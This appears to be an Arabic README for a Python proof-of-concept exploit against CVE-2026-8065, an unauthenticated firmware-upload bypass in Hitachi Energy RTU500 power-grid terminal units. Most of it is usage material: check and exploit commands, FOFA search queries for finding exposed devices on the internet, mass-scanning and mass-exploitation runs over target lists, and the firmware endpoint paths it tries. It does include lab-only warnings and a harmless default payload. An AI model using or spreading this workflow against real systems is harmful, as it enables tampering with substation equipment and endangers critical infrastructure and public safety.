
أداة إثبات مفهوم بلغة Python للثغرة CVE-2026-8065: تتعرّف على أجهزة Hitachi Energy RTU500 وتستكشف نقاط نهاية تحديث البرامج الثابتة بحثًا عن رفع غير مُصادَق عليه، مع أوضاع الفحص والاستغلال والمسح الشامل.
إثبات مفهوم (PoC) بلغة Python 3 لـ CVE-2026-8065 — برنامج ثابت CMU لسلسلة RTU500 من Hitachi Energy — تجاوز المصادقة (CWE-306) على نقطة نهاية HTTP الخاصة بـ تحديث البرنامج الثابت. CVSS 3.1 9.1 حرج (إنترنت الأشياء/التقنيات التشغيلية).
| PoCbit | https://pocbit.org/pocs/cve-2026-8065 |
| NVD | https://nvd.nist.gov/vuln/detail/CVE-2026-8065 |
| المتجه | CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:H |
| CWE | CWE-306 مصادقة مفقودة لوظيفة حرجة |
| التأثير | رفع برنامج ثابت عشوائي دون مصادقة → سلامة/توفّر وحدة RTU في المحطة الفرعية |
RTU500 هي عائلة Remote Terminal Unit (الوحدة الطرفية البعيدة) المستخدمة في مجال نقل/توزيع الطاقة؛ وتُدار CMU firmware عبر خادم الويب. في CVE-2026-8065، تصبح نقطة نهاية تحديث firmware قابلة للوصول دون مصادقة (أو عبر تجاوز باستخدام POST مُصاغ)؛ ويمكن للمهاجم تحميل firmware عشوائي مما يتيح تغيير وظيفة الجهاز أو الإخلال بالسلامة أو إحداث DoS.
هذا يعني تأثير OT حرج عن بُعد عبر PR:N في شبكة الأتمتة — ويجب اختباره فقط في مختبر عزل معتمد أو ضمن نطاق اختبار اختراق معتمد من المورّد.
المورّد (CNA) المتأثر: RTU500 Series CMU Firmware — خطوط الإصدارات 9.0 و12.0 (ترقيم إصدارات مخصص؛ راجع الاستشارة الحالية وملاحظات التصحيح 13.8.2+).
أصدرت Hitachi Energy CVE-2026-8065 (نُشرت في 2026-09-29):
تسمح ثغرة تجاوز المصادقة في نقطة نهاية تحديث البرنامج الثابت في Hitachi Energy RTU500 لمُهاجم غير موثّق برفع برنامج ثابت عشوائي عبر طلب POST مصمَّم.
على عكس CVE-2024-2617 (مستخدم موثّق يتجاوز التحديث الآمن عند تعطيله)، فإن CVE-2026-8065 هي وصول غير موثّق إلى وظيفة التحديث نفسها — ثغرة CWE-306 كاملة على سطح تقنيات تشغيلية حرج للسلامة.
قد لا تُدرج التنبيهات العامة بعد المعرّف الدقيق (URI)؛ تصف وثائق RTU500 التعامل مع البرنامج الثابت عبر إدارة التهيئة / نقل الملفات عبر خادم الويب. يقوم إثبات المفهوم هذا بـ بصمة RTU500 وفحص قائمة منتقاة من مسارات POST المحتملة للبرنامج الثابت، ثم (في وضع الاستغلال) يرسل كتلة فحص غير إنتاجية (POCBIT-8065-FW-PROBE) لاكتشاف استجابات القبول دون مصادقة.
| الوضع | السلوك |
|---|---|
| check | فحص HTTP(S) متعدد المنافذ، علامات HTML الخاصة بـ RTU500، تعبير نمطي لإصدار CMU، فحص GET على مسارات البرنامج الثابت |
| exploit | POST متعدد الأجزاء لملف .fw مزيف دون ملف تعريف جلسة؛ exploited إذا كانت الاستجابة 2xx مع استدلالات القبول |
| mass | --list + -j؛ hits.txt / exploited.txt |
--dry-run | الاستغلال: فحص مسار البرنامج الثابت عبر GET فقط (دون POST) |
--lab | RTU500 وهمي محلي — يجب أن يُظهر exploited: true (فحص سلامة) |
--force | الاستغلال دون بصمة HTML الخاصة بـ RTU500 |
--firmware-paths | تجاوز قائمة المسارات (مفصولة بفواصل) عند معرفة مسار المورّد |
JSONL: pocbit، pocbit_catalog، pocbit_page، cve، vendor، product.
السلامة: حمولة الاستغلال الافتراضية ليست صورة فلاش CMU صالحة — فقط علامة + حشو للكشف. لا توجّه وضع الاستغلال أبدًا إلى معدات شبكة كهربائية حيّة دون عزل وتنسيق مع المورّد.
cd CVE-2026-8065
pip install -r requirements.txt
python poc.py -u https://192.168.1.10 --mode check
python poc.py -u https://192.168.1.10 --mode exploit --dry-run
python poc.py -u https://192.168.1.10 --mode exploit
python poc.py -u https://192.168.1.10 --mode exploit --firmware-paths /api/firmware/update
مع --list --mode check يكون الوضع الجماعي مفعّلًا افتراضيًا: 1–2 طلب GET لكل هدف (عنوان URL للقائمة + http/https إذا لزم الأمر)، دون مسح 16 مسارًا للبرنامج الثابت، مهلة قصيرة (4s connect, 10s read)، والافتراضي -j 32.
python _format_fofa.py fofa_csv_1000.csv
python poc.py --list fofa_targets_rtu_priority.txt --mode check -j 40
python poc.py --list fofa_csv_1000.csv --mode check -j 50 --timeout 8
python poc.py --list targets.txt --mode check --full -j 20 # yavaş: çoklu port + tüm firmware GET
python poc.py --list hits.txt --mode exploit -j 8 --timeout 25
التقدم في CLI: [done/total hedef/s]؛ تُكتب النتائج فورًا بصيغة HIT.
قائمة FOFA cert="Hitachi" مليئة بالضوضاء؛ في CSV افحص قائمة الأولوية أولًا عبر rtu_priority. Check hit ≠ RTU حقيقي: تطبيقات SPA المؤسسية التي يظهر فيها فقط hitachi energy تصبح vendor_branding_only / vendor_branding_spa_false_positive؛ للاستغلال يلزم بصمة strong مثل rtu500 / rtutil500 / cmu firmware (وإلا فاستخدم --force).
python poc.py --lab
python poc.py --list fofa_targets_rtu_priority.txt --mode check --full -j 20
python poc.py --list hits.txt --mode exploit --dry-run -j 8
يقوم PoC بالتدوير (فحص GET / استغلال POST):
/api/firmware/update، /api/firmware/upload، /api/v1/firmware/update/firmware/update، /firmware/upload، /ws/firmware/update/CMU/firmware/upload، /ConfigurationManagement/Firmware/configuration/management/firmware، /FileUpload/Firmware/scripts/firmwareUpload، /cgi-bin/firmware، /admin/firmware/uploadعندما تنشر Hitachi المسار الدقيق، اضبط --firmware-paths على ذلك الـ URI فقط.
title="RTU500" || body="RTU500" || body="Configuration Management"
body="Hitachi Energy" && (body="RTU" || body="CMU")
cert="Hitachi" && port="443"
body="RTUtil500" || body="rtutil500"
قد تكون FOFA ناقصة في شبكات OT؛ اجعل جرد CMMS / خطة IP / VPN jump في targets.txt.
اختبار مصرّح به في المحطات الفرعية/المختبرات فقط. قد ينتهك التلاعب غير المصرّح به بالبرنامج الثابت على أجهزة OT القانون وقواعد سلامة الشبكة.
CVE-2026-8065 PoC: Hitachi Energy RTU500 unauth firmware update bypass (CWE-306, CVSS 9.1). IoT/OT colored check + mass exploit — RTU500 fingerprint, firmware endpoint probe, lab-safe upload test. https://pocbit.org/pocs/cve-2026-8065